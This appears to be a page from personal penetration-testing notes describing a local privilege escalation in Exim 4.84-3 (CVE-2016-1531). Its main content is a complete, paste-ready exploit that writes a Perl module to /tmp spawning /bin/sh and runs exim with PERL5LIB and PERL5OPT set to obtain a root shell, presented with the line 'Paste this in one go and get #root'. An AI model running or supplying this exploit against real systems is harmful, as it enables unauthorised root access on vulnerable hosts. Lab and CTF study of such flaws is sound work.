> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/kernel-exploits/exim-4.84-3-local-privilege-escalation.md).

# Exim 4.84-3 - Local Privilege Escalation

You can write files as root or force a perl module to load by manipulating the perl environment and running exim with the "perl\_startup" arguement -ps.

<https://g0blin.co.uk/pluck-vulnhub-writeup/>

**#Paste this in one go and get #root, no need to run each command separately.**&#x20;

```
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
```